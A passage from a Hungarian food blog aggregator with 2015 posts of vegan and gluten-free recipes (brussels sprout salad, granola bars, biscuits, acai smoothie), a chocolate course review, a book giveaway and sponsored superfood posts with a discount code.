töprengtem rajta, milyen egyéb hozzávalók kíséretében tehetném a kelbimbót fogyaszthatóvá egy ételben. Végül megszületett ez a színes, és vitaminban gazdag saláta, ami főételnek is megfelelő jóllakottság érzést biztosít, és nem csak, hogy ehetővé teszi a kelbimbót, de még rendkívül finom is! :-) Én magam is nehezen akartam elhinni, hogy ennyire ízlik! Adjatok neki egy esélyt, és próbáljátok ki, illetve kóstoltassátok meg a kelbimbót "nem kedvelő" családtagokkal is! ;-) "A kelbimbó igen gazdag vitaminokban. Tartalmaz A-, B-, K-, E- és C-vitamint, valamint élelmi rostokat, kalciumot, magnéziumot és vasat. Rosttartalmának köszönhetően jó hatással van a belekre, illetve segíti az emésztést. Erősíti a szervezetet, és fokozza annak ellenálló képességét. Káliumtartalma miatt kiváló vízhajtó hatással rendelkezik. A kelbimbó csökkenti a koleszterinszintet, legjobban nyersen fogyasztva fejti ki hatását, de párolva is megőrzi ezt a tulajdonságát. Kiváló omega-3 zsírsav-forrás, melynek köszönhetően a vérnyomás csökkentésében is hasznos lehet. Fitotápanyag-tartalmának köszönhetően rákvédő anyagokat tartalmaz, melynek következtében csökkenti a különböző daganatos megbetegedések kialakulását szervezetünkben. Jó hatással van a pajzsmirigyműködésre is. Terhes nőknek fogyasztása kifejezetten ajánlott, hiszen magas folsav - és kalciumtartalommal rendelkezik." Forrás : Házipatika téli vitaminsaláta - Sült cékla és sütőtök, pirított kelbimbóval narancsosan (mindenmentes, vegán) H OZZÁVALÓK (kb.3 személyre) - 500 g friss kelbimbó - 2 db közepes méretű nyers cékla - kb. 500 g sütőtök - 2 ek extra szűz olívaolaj (vagy kókuszolaj) - egy pohár tiszta víz (2 dl) - 1 ek balzsamecet - 2 ek világos szójaszósz (legyen gluténmentes) - 1 ek agave szirup (vagy egyéb tetszés szerinti édesítő szirup) - Himalája só, frissen őrölt fekete bors - 1 db narancs frissen facsart leve - 2 marék pisztácia (elhagyható) téli vitaminsaláta - Sült cékla és sütőtök, pirított kelbimbóval narancsosan (mindenmentes, vegán) ELKÉSZÍTÉSA sütőtököt meghámozzuk, kimagozzuk, és kockacukor méretű kockákra vágjuk, majd egy sütőpapírra tesszük. A céklákat is meghámozzuk (használjunk eldobható kesztyűt hozzá), és négy részre vágjuk, majd egy-egy alufóliából készült batyuba helyezzük a két db felvágott céklát külön-külön. A batyuk teteje legyen nyitható, és tegyünk a batyuk aljába 2-2 ek vizet, hogy abban tudjon párolódni a cékla. Az alufólia batyu tetejét zárjuk össze, és helyezzük a sütőpapírra a sütőtök kockák mellé. batyuban sült cékla 200 °C fokra előmelegített sütőben kezdjük el sütni őket. A sütőtökök kb. 30-35 perc alatt puhára, és aranybarnára sülnek. Ekkor vegyük őket ki, és csak az alufóliába helyezett céklákat tegyük vissza. A cékla méretétől függően még kb. 20-30 percre lesz szükségük a cékláknak, hogy megpuhuljanak. Teszteljük egy villával. Miután elkészült a cékla is, hagyjuk kihűlni, és vágjuk tetszés szerinti méretű kockákra. pirított kelbimbó Közben egy WOK-ban, vagy egy serpenyőben kevés olajon lepirítjuk a felvágott (két-három részre) kelbimbókat a vágott oldaluknál fogva. Pár perc alatt megpirulnak. Ekkor felöntjük egy pohár vízzel, sózzuk, borsozzuk, és fedő alatt, közepes lángon pároljuk további 5 percig. Levesszük a fedőt, hozzáadjuk a felkockázott és elősütött céklákat, illetve egy előre kikevert szószt. (1 ek balzsam ecet, 2 ek szójaszósz, és 1 ek agave szirup). Az egészet összekeverjük a fakanállal, majd addig főzzük, míg el nem fő az összes lé a serpenyő aljáról. (Min.3 perc.) Miután elkészült, elzárjuk alatta a tűzhelyet, és meglocsoljuk egy frissen facsart narancs levével az egészet. (Ez a művelet elhagyható, de nagyon finom aromát kölcsönöz az ételnek). Tálaláskor megszórjuk pisztáciával. téli vitaminsaláta - Sült cékla és sütőtök, pirított kelbimbóval narancsosan (mindenmentes, vegán) Tápanyagban gazdag, ízletes és melengető kelbimbó fogyasztást kívánunk! :-) Megjegyzés1: Ha épp nincs sütőtök a közelünkben, akkor használjunk helyette édes burgonyát, de akár nyers almával is el tudom képzelni. Mindkettővel ugyanolyan finom lesz a végeredmény. Megjegyzés2: Ez a recept megjelent a 108.hu online magazin 56. számában is, ahol egyéb karácsonyi receptek mellett, különböző karácsonyi ötletekhez, tippekhez juthattok hozzá. téli vitaminsaláta - Sült cékla és sütőtök, pirított kelbimbóval narancsosan (mindenmentes, vegán)
Gluténmentes, laktózmentes, cukormentes vaníliás keksz
2015. december 3. Élj harmóniában
Múlt héten egy kedves jógás tanulómnak megígértem, hogy karácsonyig jó néhány keksz és rágcsálnivaló finomság receptjét teszem közzé a blogon - ezt lehet is látni a korábbi bejegyzésekből:). Ennek megfelelően ma is készítettem egy gluténmentes, tejtermékmentes kekszet. Hozzávalók: - 20 dkg rizsliszt - 10 dkg csicseriborsóliszt - 10 dkg datolyacukor (vagy kókuszcukor) - 1/2 csésze kókuszzsír - 1/2 csésze víz (vagy használhatsz valamilyen növényi tejet is) - 1/4 teáskanál szódabikarbóna - 1/2 teáskanál sütőpor - csipet só - vanília Keverd össze először a száraz hozzávalókat, add hozzá a kókuszzsírt és a vizet. Gyúrd össze jól addig, amíg egy jól formálható lágy tésztát nem kapsz. A tésztát nyújtsd ki - picit töredezhet, de nagyon jól lehet vele dolgozni. Majd sütikiszúró formával készítsd el a kekszeket. A kekszeket tedd sütőpapírral bélelt tepsire. 180 fokra előmelegített sütőben süsd készre a kekszeket. (. kb. 15 perc) Vegyszermentes (bio) alapanyagokat használj!
Alap csokoládé kurzus Szántó Tibornál
2015. december 1. Zizi kalandjai
Ez a doboz várt az érkezéskor… meg egy pohár krémes, forró csokoládé. Jó a kezdés, gondoltam. Aztán bele is vágtunk a közepébe. Megtudtunk néhány nagyon hasznos információt a kakaóról, mint például, hogy őshazája Közép- és Dél-Amerika, meg azt is, hogy a kakaó gyümölcs (finom a gyümölcshúsa, ami licsire és ananászra emlékeztet – Tibor elmondása szerint) és a héját kivéve minden része felhasználható. Szimbiózisban él más fákkal (például kókuszpálmával vagy banánfával – ezek az oltalmazó fák), mert nagyon kényes növény.
Ahogy haladtunk a különböző kakaófajták megismerkedésével (forastero, arriva/bacional, criollo, trinitario) úgy kóstoltuk sorban a doboz tartalmát. Mindenből egy keveset… persze, aki akarta, az megehette az összeset, de higgyétek el, kakaóból és csokoládéból is van olyan, hogy elég.
A legjobb minőségű kakaók Venezuelából, Ecuadorból, Santo Domingoból, Sao Toméról és Madagaszkárról kerülnek ki. Ezenkívül van még kakaó Mexikóban, Peruban, a tömegtermelés nagy részét pedig Elefántcsontpart, Ghána és Vietnám látja el.
Mik is készülnek kakaóból?
Bevonómassza: alacsony a kakaótartalma, nincsen benne kakaóvaj – helyette hidrogénezett növényi zsír kerül bele, valamint szintetikus vanília, rengeteg benne a cukor, a kakaót alkalmanként karobporral helyettesítik. Gondoljatok ezekre az információkra, amikor a közelgő Mikulás alkalmából egy “csoki” Mikulást emeltek le valamelyik szupermarket polcáról!
Étcsokoládé: kakaómassza és vaj, valamint Bourbon vanília van benne, édesítésére többnyire nádcukrot használnak, kakaótartalma 60 és 100% között van.
Tejcsokoládé: tejpor, (nád)cukor, vanília van benne, kakaótartalma 29 és 40% között van.
Fehércsokoládé: alapja a kakaóvaj, van benne (nád)cukor, vanília, szójalecitin és tejpor.
Tibor tudása fantasztikus, szakterülete a területszelektált csokoládék és kakaóbabok… és tényleg mindent tud a kakaóról. Alap kurzusán kívül, tart haladót is, amely négy részből áll és minden csokoládét kedvelőnek (aka Gombócartúrnak :)) szól. Aki pedig a kóstoló doboz tartalmát kevésnek tartja, az feltétlen menjen el a kurzusra… nem fogja tudni megenni!
Szántó Tibor csokoládé kurzus információk: alap, haladó. Ajándékutalvány is vásárolható náluk.
A kurzuson {Szántó Tibor} meghívásának köszönhetően vettem részt. A véleményem csakis a sajátom.
Kókusz Kutya és a Mikulás mesekönyv nyereményjáték
2015. november 30. Zizi kalandjai
Orsit néhány éve ismertem meg, amikor együtt dolgoztunk egy cégnél. Már az első naptól felkarolt, mint kezdő multist… Gyorsan megtaláltuk, hogy mi a közös mindkettőnkben, így jó barátok lettünk. Az útjaink szétváltak, de a barátság megmaradt. Nagyon örültem, amikor elújságolta, hogy írt egy mesekönyvet. Büszke vagyok rá! A lelkesedése, a mese iránti szeretete, a benne élő belső gyermek – aki rajong a cuki dolgokért – példaértékű. Íme egy mini interjú vele, a bejegyzés végén pedig a játék, amelyen megnyerhetitek a könyvét!
Ha jól tudom, ez az első könyved… honnan jött az ötlet (inspiráció), hogy tollat ragadj?
Júniusban végeztem dráma-és színházpedagógusként a Pannon Egyetemen (eredeti végzettségem: francia-magyar szakos bölcsész). Már korábban is szerettem a meséket, de itt megtanultam, hogy milyen nagy ereje lehet egy mesének a gyerekek életében, milyen sok mindenről lehet beszélgetni és játszani, meg játszva tanulni egy mese kapcsán. Kókusz kutya története már régóta lappangott bennem, és a drámás tanulmányaim ezt valahogy a felszínre hozták. Egy kiskutya, aki szerető gazdit keres. Ez a mese alaptörténete, ami aztán fontos beszélgetéseket indíthat el a gyerekekkel például a barátságról, a segítőkészségről, a felelősségről, de még akár az örökbefogadásról is.
Mivel foglalkozol egyébként, ha nem mesekönyvet írsz?
Szerencsés vagyok, mert a munkám során is mesékkel illetve gyerekkönyvekkel foglalkozom. Egy gyerekkönyvkiadónál, a Roland Kiadónál dolgozom, és többek között a könyvek irodalmi lektorálását, szerkesztését végzem. Szoktunk játékos meseolvasásokat szervezni a gyerekeknek valamelyik mesekönyvünk kapcsán, és nagyon jó látni, hogyan reagálnak a kicsik a mesékre, hogyan élik bele magukat egy-egy történetbe.
Ki Kókusz (kutya)?
Kókusz kutya karakterét a mi kiskutyánkról mintáztam, akit szintén Kókusznak hívnak. Mondhatnám azt is, hogy ő adta az ihletet. Ő is kalandos módon került hozzánk, és lett családtag. Bár nem a Mikulás segített neki ebben, vagy ki tudja?
Lesz-e folytatás?
Nagy örömömre a visszajelzések alapján megkedvelték a gyerekek Kókusz kutyát, és már formálódik is a fejemben kalandjának a folytatása, ami ha minden igaz, Húsvétra már a könyvesboltokba kerülhet. Annyit elárulhatok, hogy Kókusz kutya életébe egy kiscica fog belepottyanni…
*****
NYEREMÉNYJÁTÉK!!!
Nyeremény : Orsi felajánlása jóvoltából három szerencsés megnyerhet egy-egy dedikált példányt a Kókusz Kutya és a Mikulás című könyvéből.
Írjátok meg ide a bejegyzés alá kommentben, hogy nektek gyerekként melyik karácsonyi mese vagy meséskönyv volt a kedvencetek!
Szabályok : 2015. december 3-ig lehet játszani. Eredményhirdetés 2015. december 4-én. A nyerteseket emailben fogom értesíteni, majd a nevük kikerül a blogra (ez a bejegyzés fog frissülni). A nyerteseknek a nyereményt Orsi postázza magyarországi címre.
Kókuszos aszalt vörösáfonyás müzli szelet (vegán)
2015. november 29. Zizi kalandjai
Hivatalosan is megkezdtük a felkészülést az adventi időszakra. Csütörtökön elkészítettem Ádival életem második adventi koszorúját (minimalista stílusban). Megcsináltam az adventi naptár tasakjait, igaz, nincsen mindegyikbe még meglepetés, de majd folyamatosan szerzem be őket (mivel kicsi a hely a lakásban úgyse tudom mind a huszonnégy tasakot kirakni egy helyre, szóval nagyjából nyolcasával fog kikerülni egy polcra). Holnapra tervezem a mézeskalács sütést Ádival, remélem jól fog sikerülni, mert egy elég “alternatív” receptet akarok kipróbálni, ami eredetileg nem is mézeskalács recept, de bízom benne, hogy sikeres lesz a végeredmény és hozhatom majd ide a blogra is a receptet.
Szóval müzli szelet, angolul granola bar (vicces, mert Ádi is így hívja: “Kérek pici granola bart!” ). Nagyon egyszerű elkészíteni, utána hűtve állni kell hagyni és már fogyasztható is. Én az alapreceptet innen vettem (rengeteg változatot találtok még az interneten), jó pár dolgot módosítottam rajta és a végeredmény magáért beszél… mindenki imádta a családban. Ezt ettük reggelire, nasinak, amíg kitartott. A jó szeletelhetőség titka a megfelelő hűtés. Mi a végén már a konyhapulton tartottuk és mivel kicsit megszáradt, kanalazva ettük. De persze, ha ajándékba szánjátok karácsonyra, akkor érdemes a mélyhűtőben tartani és az utolsó pillanatban becsomagolni szépen a szeleteket egyesével.
Kókuszos aszalt vörösáfonyás müzli szelet (vegán)
Hozzávalók:
– 1 és 3/4 bögre zabpehely (lehetőleg apró szemű)
– 1 bögre dió
– 1/2 bögre kókuszreszelék
– 1/3 bögre natúr napraforgómag
– 2/3 bögre aszalt vörösáfonya
– 1 bögre mandulavaj (földimogyoróvaj, kesudióvaj is használható)
– 1/2 bögre datolya szirup (juharszirup, méz is használható)
– 4-5 evőkanál kókuszzsír
– 1/2 teáskanál őrölt fahéj
– 1/2 teáskanál só
– 1 vanílirúd kikapart magjai
Egy száraz serpenyőben pirítsuk meg a diót és a napraforgómagot kb. 8 perc alatt. Tegyük robotgépbe, adjuk hozzá a vörösáfonyát és dolgoztassuk a gépet, amíg mindent felaprít.
Öntsük egy tálba a felaprított magokat és vörösáfonyát és adjuk hozzá a zabpelyhet, a kókuszreszeléket, a fahéjat és a sót. Egy másik tálban keverjük össze a mandulavajat, a datolya szirupot, a felolvasztott kókuszzsírt és a vaníliát. A nedves hozzávalókat öntsük a szárazhoz, majd egy fakanál segítségével jól keverjük össze úgy, hogy a nedves keverék minden részét befedje a száraznak (ez erős karmunkát igényel majd és jó néhány percet igénybe vesz).
Sütőpapírral béleljünk ki egy kb. 20*20 cm-es négyzet formát, öntsük bele a granola (müzli) keveréket, majd kézzel alaposan nyomkodjuk bele a formába. Ahhoz, hogy szép sima legyen a teteje, használjunk egy kis darab sütőpapírt, erre tegyünk egy poharat és a forma tetején végighaladva egyengessük el a granola tetejét.
Tegyük mélyhűtőbe legalább 2-3 órára fogyasztás előtt. Csak, ha keményre hűlt, akkor szeletelhető szépen (nem morzsálódva)!
Gluténmentes muffin recept
2015. november 24. Élj harmóniában
Gluténmentes muffin Számos érdeklődés jött, hogy gluténmentes édesség receptet tudnék-e még kirakni. Ez egy jól bevált muffin recept, amit kedved szerint variálhatsz:) Én imádom a csicseriborsó lisztet, ezért nagyon szeretem ezt a receptet készíteni. Korábban már sós formában tettem ki muffin receptet. (itt olvashatod) Hozzávalók: 1,5 csésze rizsliszt 3/4 csésze csicseriborsóliszt 1,5 tk. szódabikarbóna 1 és 1/4 bögre víz 10 dkg vaj (vegán változatban kókuszzsír vagy lehet olaj) csipet só 1/2 tk. citrom leve 1/4 csésze datolyaszirup (helyettesítheted 5 -10 dkg finomítatlan nádcukorral) fahéj, vanília 1 csésze mazsola (vagy bármilyen gyü mölcs) A mazsolát öblítsd le, majd áztasd be. Egy tálban keverd össze a rizslisztet, csicseriborsólisztet, szódabikarbónát sót, fűszereket, sót. K everd össze a nedves hozzávalókat - citromlevet, olvasztott vajat, vizet és öntsd hozzá a száraz hozzávalókhoz, majd tedd hozzá a szirupot is. A z egészet néhány mozdulattal keverd jól össze. Amikor elkeverted a tésztát, beleteheted a mazsolát vagy más gyümölcsöket is. Egy muffin formába (ha szükséges tegyél bele muffin papírt) adagold bele a tésztát. Tedd 180°C fokra előmelegített sütőbe és süsd meg. (kb. 20-25p) Vegyszermentes (bio) alapanyagokat használj!
Datolyagolyó
2015. november 22. Mindennapi ételeink
Hozzávalók: 2 érett banán 10 dkg aszalt, mag nélküli datolya 10 dkg leforrázott apró szemű zabpehely 5 dkg mazsola 20 dkg kókuszreszelék 20 dkg darált olajos mag (dió) 2 dkg karopor -- kókusz Elkészítés: A meghámozott banánt, a datolyát feldaraboljuk és a mazsolával együtt összepürésítjük. A zabpelyhet annyi forrásban levő vízzel leöntjük, ami ellepi. Állni hagyjuk kb. 30 percet. Majd a masszához hozzáadjuk a ledarált diót, a kókuszreszeléket és a zabot, majd betesszük 1 órára a hűtőbe. Majd vizes kézzel gombócokat formázunk és kókuszreszelékbe forgatjuk. 100 g kókuszreszelék100 g apró szemű zabpehely50 g proteinpor (én csokisat használtam)kb. 1 ek folyékony édesítőszer1,5 ek natúr sovány kakaóporkb. 1 ek rumaromakis víz
Vegán, cukormentes almás-birsalmás pite-torta
2015. november 18. Mindennapi ételeink
Ismét egy édesség receptjét hoztam, talán karácsony előtt hasznos lehet. Hozzávalók: 30 dkg finomliszt 20 dkg teljes kiőrlésű liszt 1/2 csomag foszfátmentes sütőpor 1 dl olvasztott kókuszzsír 10 dkg eritrit kb. 1-2 dl víz -- 1 kg alma 1/2 kg birsalma 10 dkg eritrit 1 bio citrom héja 1 vaníliás cukor vagy 2 tk. vaníliapor 1 ek. morzsa Elkészítés: A liszteket és az eritritet összeöntjük, hozzáadjuk a sütőport. Kimérjük a kókuszzsírt és beleöntjük. Majd annyi vízzel hígítjuk, hogy rugalmas pitetésztát kapjunk. Félretesszük, kissé pihenni, eközben elkészítjük a tölteléket: az almákat meghámozzuk és megpároljuk. Egy olajozott, lisztezett pite formájú tepsibe belesimítjuk a tészta felét, erre 1 ek. morzsát szórunk rá és erre rákenjük az almás tölteléket, majd befedjük a tészta másik felével. Vízzel hígított lekvárral kenjük meg, ez szép színt ad neki (tojássárga helyett), és még csillogó lesz. Megszórjuk eritrittel. Közepes lángon, kb. 30 perc alatt kisütjük.
Vegan "turos taska"
2015. november 16. Mindennapi ételeink
Hozzávalók: 50 dkg finomliszt 10 dkg kókuszzsír 2,5 dkg élesztő 2 dl rizstej 3 ek. eritritol 1 ek. barna nádcukor 1 mk. só -- 15 dkg köles 5 dl rizstej 1 marék mazsola kb. 10 dkg nyírfacukor 1 citrom leve Elkészítés: A lisztet és a kókuszzsírt elmorzsoljuk, a barna cukros tejben felfuttatjuk az élesztőt, majd hozzáadjuk a liszthez, még édesítjük eritritollal és dagasztást követően 30 perc alatt duplára kelesztjük. Ez idő alatt elkészítjük a kölestúrót: megfőzzük a kölest, majd édesítjük, ízesítjük. Hagyjuk kihűlni. A tésztát lisztezett felületen kinyújtjuk (ujjnyi vastagságúra), kockákat vágunk belőle, megtöltjük kölestúróval, behajtjuk és lisztezett, olajozott tepsiben 180 fokon kb .30 perc alatt kisütjük.
Fatörzs
Nem vagyok egy banánrajongó, beleteszem, amibe kell, olyan semleges volt eddig. Eddig! De ez a nasi, így a csokival, pirított mogyival és dióval annyira kellemes ízhatás, hogy sajnáltam, hogy csak 1 maradt :D Próbáljátok ki! Megéri ;) Hozzávalók személyenként: 1 banán 1 ek bio kakaóvaj 1 ek kókuszolaj 1 ek kókuszvirág cukor 1 ek forrásvíz […]
Szuper reggeli: Acai smoothie (vegán) + Kedvezménykupon
2015. november 11. Zizi kalandjai
Folytatódik a sorozat a szuper élelmiszerekről. Egy olyan alapanyagot mutatok be, amelyről már lehet, hogy sokat hallottatok, főleg, ha olvastok angol nyelvű oldalakat, ugyanis az utóbbi időben igen felkapott “gyümölcs” lett. Én már évekkel ezelőtt hallottam róla – az acai bogyóról -, amikor megismerkedtem I.-vel, ugyanis ő eltöltött egy kis időt Brazíliában, ahol ez a gyümölcs őshonos. Ódákat zengett róla, hogy mennyire finom és minden sarkon árulták friss gyümölcsként vagy frissen elkészített gyümölcsléként. Rengeteget ivott acai gyümölcslevet és teljesen beleszeretett… én pedig azóta álmodozom, hogy egyszer én is kipróbálhatom majd a friss változatot.
Az acai (“ászái”) bogyó az Amazonas vidékén tömegesen előforduló Euterpe oleracea pálma termése, amely főleg mocsaras és árteres vidékeken őshonos. Legnagyobb termőterületei Brazíliában és Trinidadban vannak, de előfordul még Dél-Amerika más országaiban is. A bogyók feketéslilák, aprók, kinézetre hasonlatosak az áfonyához (fotókat lásd itt a pálmáról és a bogyókról). Nagy fürtökben nőnek, évente kétszer szüretelhetők. Az acai íze kellemesen savanykás. Nyers formában a brazil bennszülöttek étrendjének egyik fő összetevője, míg őshazáján kívül többnyire gyümölcslé vagy acai por formájában találkozhatunk vele. Egyébként az acai bogyó akkor lett felkapott és akkor vált világhírűvé, amikor dr. Nicolas Perricone beválasztotta a tíz legjobb öregedésgátló csodaétel közé, és leadták Oprah Winfrey egyik műsorban.
Az acai bogyónak alacsony a cukortartalma, viszont igen gazdag értékes zsírokban, ezenkívül magas a rosttartalma. Az acai gazdag ásványi anyagokban, kálciumot, vasat, káliumot és magnéziumot is tartalmaz, valamint sok C- és A-vitamint.
Az acai fagyasztott gyümölcsként vagy fagyasztva szárítva (liofilizálva) por formában jut el Észak-Amerikába, Európába és a többi földrészre. A friss gyümölcspépet addig fagyasztják, míg víztartalma szilárd fázisból közvetlenül gáz fásiba lép. Így őrzi meg a por a lehető legtöbb értékes tápanyagot. A por jól keverhető bármely gyümölcs- vagy zöldséglével. Hozzáadható gyümölcssalátákhoz, süteményekhez, nyers desszertekhez, fagylaltokhoz, mártásokhoz, szószokhoz.
Én most egy egészen egyszerű turmixhoz használtam fel az acait. Krémességét a banán adja, de tehetünk bele avokádót is. Fehérje gazdagításra földimogyoróvajat tettem bele, de jó a mandulavaj, extraként pedig a kesudióvaj is. Feldobhatjuk még valamilyen semleges ízű leveles zölddel is (spenót, mángold, leveleskel) és akkor már tényleg minden benne van, ami egy teljesértékű reggeliben lehet!
Acai smoothie (vegán)
Hozzávalók 3 főre:
– 1 és 1/2 érett banán, meghámozva, felszeletelve
– 3/4 bögre fagyasztott málna
– 2 teáskanál acai por
– 1 evőkanál földimogyoróvaj (mandulavaj is használható)
– 3 evőkanál zabpehely
– 2 evőkanál lenmag vagy chia mag
– 1 és 1/2 bögre mandulatej (rizs-, zab-, kókusztej is használható)
Tegyünk minden hozzávalót a turmixgépbe és pépesítsük simára néhány perc alatt. Ha túl sűrűnek találjuk, adjunk még hozzá egy kis mandulatejet.
Fogyasszuk azonnal! Ne hagyjuk sokáig állni, mert a lenmag besűríti!
Szuper élelmiszer sorozat:
Inka bogyó (inka bogyós datolya golyóként elkészítve)
Más acai receptek:
Kókuszos acai reggeli
Acai smoothie bowl 1.
Acai smoothie bowl 2.
Őszi acai smoothie bowl vaníliás kesudióvajjal
*****
Az acai port a {Planetbio} biztosította a recepthez. A véleményem csakis a sajátom.
Jó hír, hogy a Planetbio felajánlotta, hogy kedvezménykupont biztosít a Zizi kalandjai olvasóinak! Minden online vásárlás végösszegéből 5% kedvezményt nyújt a cég. A kuponkód, amelyet megrendeléskor be kell írni a kedvezmény érvényesítéséhez: ZIZI. Jó vásárlást mindenkinek!
Mustáros brokkolikrémleves
2015. november 10. Éltető ételek
Készítettem már korábban is brokkolikrémlevest, viszont ez sokkal pikánsabb és fűszeresebb lett. Hideg, téli napokon kifejezetten jól esik egy kis csípős finomság. Hozzávalók (3 fő): - 1/2 fej brokkoli - 3 közepes burgonya - 1 lilahagyma - 2 gerezd fokhagyma - házi vegeta vagy mindenmentes zöldségleveskocka - 1 késhegynyi darált csípős paprika - kevéske chili - 1 dl tejszín - 2 teáskanál mustár - só, bors - 2-3 csipet szerecsendió - 1 evőkanál kókuszolaj Elkészítése: A hagymát vágjuk fel kis kockára, és a kókuszolajon dinszteljük meg. reszeljük hozzá a fokhagymát is.Adjuk hozzá a rózsáira szedett brokkolit és a kockára vágott krumplit. Pirítsuk együtt pár percig.Öntsük fel éppen annyi vízzel, amennyi ellepi. Adjuk hozzá a vegetát, és fűszerezzük.Kb. 15 perc elteltével botmixerezzük össze.Adjuk hozzá a mustárt és a tejszínt, és ha kell, akkor még fűszerezzük.
Kelbimbós rizssaláta
2015. november 7. Éltető ételek
Egy egyszerű sült zöldséget csináltam ebédre, melyből végülis egy főétel kerekedett ki. Általában úgy állok neki a főzésnek, hogy megvannak az alapanyagok, majd lesz belőle valami. Így főztem az ebédhez barnarizst, mely a salátához került. Egy nagyon finom főétel kerekedett ki belőle. Én nagyon szeretem a pirított paprikát, így az is került a tetejére. Ha lett volna itthon gomba, azt is pirítottam volna hozzá. Hozzávalók: - Sült kelbimbó saláta - ugyanannyi mennyiségű főtt barna rizs - 1 paradicsom - 1/2 kápia vagy piros kaliforniai paprika - só, bors Elkészítése: - A salátához keverjük hozzá a langyosra hűlt főtt rizst. - kockázzuk fel a paradicsomot, sózzuk, borsozzuk. - A paprikát vágjuk fel csíkokra, és egy kevés kókuszolajon pirítsuk meg. tegyük a tetejére, és tálalhatjuk is.
Aszaltszilvás-kókuszos keksz
2015. november 6. Éltető ételek
Szeretek kísérletezni. Nagyon sok receptes oldalt böngészek, amelyek inspirálnak egy merőben más étel megszületésére. Most is így történt. Az eredeti recepthez képest csak a liszt, a zab és a vaj maradt, a többi a kamrám alapanyagából került ki. Mindenesetre a végeredmény nagyon finom lett. Nem túl ropogós, de annál fűszeresebb és finomabb keksz. Próbáljátok ki bátran. :) Hozzávalók: Száraz összetevő: - 10 dkg zabliszt - 10 dkg teljes kiőrlésű tönkölyliszt - 20 dkg aprószemű zabpehely - 10 dkg kókuszreszelék - 1/2 tábla min. 70%-os étcsoki - 1 jó nagy marék aszalt szilva kis kockára vágva - 1,5 teáskanál szódabikarbóna - 1,5 teáskanál sütőpor - 1 kávéskanál vaníliapor - 1/2 kávéskanál fahéj - csipet só Nedves rész: - 6 dkg darált kókuszvirágcukor - 6 dkg méz vagy juharszirup - 16 dkg bio vaj vagy kókuszzsír - kókuszkrém (kb. 1 dl) Elkészítése: - A száraz összetevőket keverjük össze egy tálba.Az édesítőket keverjük ki a puha vajjal, majd fokozatosan keverjük hozzá a száraz összetevőket. Kezdetben lehet fakanállal, majd érdemes kézzel rásegíteni. Annyi kókuszkrémet adjunk hozzá, hogy kemény, de gyúrható tésztánk legyen.Tegyük be a hűtőbe úgy 1 órára.Gombócozzuk, majd villával lapítsuk ki.Előmelegített sütőben, 180 fokon süssük készre kb. 12-15 perc alatt.A tepsiben várjuk meg, hogy kihűljön, akkor megkeményedik.
Inka bogyós datolya golyó (nyers, vegán) + Kedvezménykupon
2015. november 3. Zizi kalandjai
Többen érdeklődtetek már nálam a szuper élelmiszerekről: mik ezek, én miket használok, hogyan lehet őket felhasználni, stb. A Planetbio-nak hála most többet bemutathatok nektek itt a blogon (sorozatban).
Az angol superfood olyan élelmiszert, ételt jelent, amelyek magas koncentrációban tartalmaznak olyan alapvető tápanyagokat, amelyeknek az egészségre gyakorolt hatásuk kiemelkedő. Legtöbbjük lúgosító és méregtelenítő hatású is. Sokáig azt hittem, hogy a superfood valami különleges élelmiszer, ami nagyon drága és esetleg nehezen is beszerezhető. Rövid tanulmányozás után rájöttem, hogy vannak tasakban és por formájában kapható szuper élelmiszerek (ez a drágább kategória) és vannak a hagyományos zöldség- és gyümölcspulton (avokádó, áfonya, leveleskel, brokkoli, eper, spenót, mandula, quinoa, stb.) kapható friss változatok.
A tasakban és por formában kapható szuper élelmiszereket felfoghatjuk úgy is, mintha kiváló minőségű vitaminok lennének. Nem kell belőlük sokat fogyasztani, azonban hébe-hóba megéri “beruházni” egy-egy fajtára, hogy felturbózzuk velük az immunrendszerünket.
Ennek a mostani receptnek a kiemelt eleme az inka bogyó (szárított formában), de van még benne hántolt kendermag, chia mag, nyers kakaópor, nyers kókuszzsír, na és persze datolya, meg magok, amelyek mind-mind a szuper élelmiszer kategóriába tartoznak. Első kóstolásra bejött az inka bogyó íze (nemcsak nekem, hanem Ádinak is, aki úgy eszi, mintha kötelező lenne ), enyhén savanykás, de közben édes is. Kinézetre a mazsolára hasonlít, kicsit azonban érdesebb a felülete. Peru magasabb területein őshonos, antioxidánsokban gazdag, viszonylag magas fehérje- és rosttartalommal rendelkezik. Gazdag vasban, A- és C-vitaminban.
A golyót a datolya fogja össze. Magok tekintetében azt tettem bele, ami éppen itthon volt, egy kis kesudiót, mandulát és törökmogyorót. Ha éppen diótok van otthon, azzal is elkészíthetitek persze. A puhaságát és “krémességét” a nyers (extra szűz) kókuszzsír adja meg. Ha ilyenetek nincs, használhattok hagyományos kókuszzsírt is, a lényeg, hogy szobahőmérsékletű legyen. A datolya golyó készítés nagyon gyerekbarát művelet. Ádi végig segített nekem: kimérni az alapanyagokat, elindítani a robotgépet, majd megformázni a golyókat, amiből természetesen nem sok minden lett, ugyanis ő folyamatosan ette a kezébe került masszát. A készítés másnapján még volt kb. hét darab golyó. Délután kitettem Ádi asztalkájára, hogy majszoljon belőle egy keveset. Én közben tettem-vettem, majd eszembe jutott, hogy egy utolsó golyót bekapok még mire elfogy. Odamentem az asztalhoz és a golyóknak hűlt helyét találtam… I. egyet evett, a maradék hatot mind Ádi habzsolta be kb. 20 perc alatt! Na ennyire finom! Próbáljátok ki!
Inka bogyós datolya golyó (nyers, vegán)
Hozzávalók (kb. 25 db-hoz):
– 1 bögre kesudió
– 1/2 bögre mandula
– 1/2 bögre törökmogyoró
– 20 szem datolya, kimagozva (lehetőleg friss – Lehel piacon lehet kapni -, ha nem tudtok beszerezni, jó a szárított is, csak jó minőségű legyen)
– 2 evőkanál chia mag
– 2 evőkanál hántolt kendermag
– 2 evőkanál (nyers) kakaópor
– 2 evőkanál (nyers, extra szűz) kókuszzsír
– 1/3 bögre inka bogyó, felaprítva
Tegyük robotgépbe a kesudiót, a mandulát és a törökmogyorót, és daráljuk por állagúra. Ekkor adjuk hozzá a kimagozott datolyát és az összes többi alapanyagot. Addig dolgoztassuk a robotgépet, amíg a massza enyhén ragacsossá (kissé zsírossá a kókuszzsír miatt) válik (állítsuk le a gépet és ellenőrizzük az állagot).
Formázzunk golyókat a masszából. Zárt dobozban, hűvös helyen, hőtőben 10-12 napig eláll (de addig úgysem fog tartani).
*****
A superfood alapanyagokat a {Planetbio} biztosította a recepthez. A véleményem csakis a sajátom.
Jó hír, hogy a Planetbio felajánlotta, hogy kedvezménykupont biztosít a Zizi kalandjai olvasóinak! Minden online vásárlás végösszegéből 5% kedvezményt nyújt a cég. A kuponkód, amelyet megrendeléskor be kell írni a kedvezmény érvényesítéséhez: ZIZI. Jó vásárlást mindenkinek!
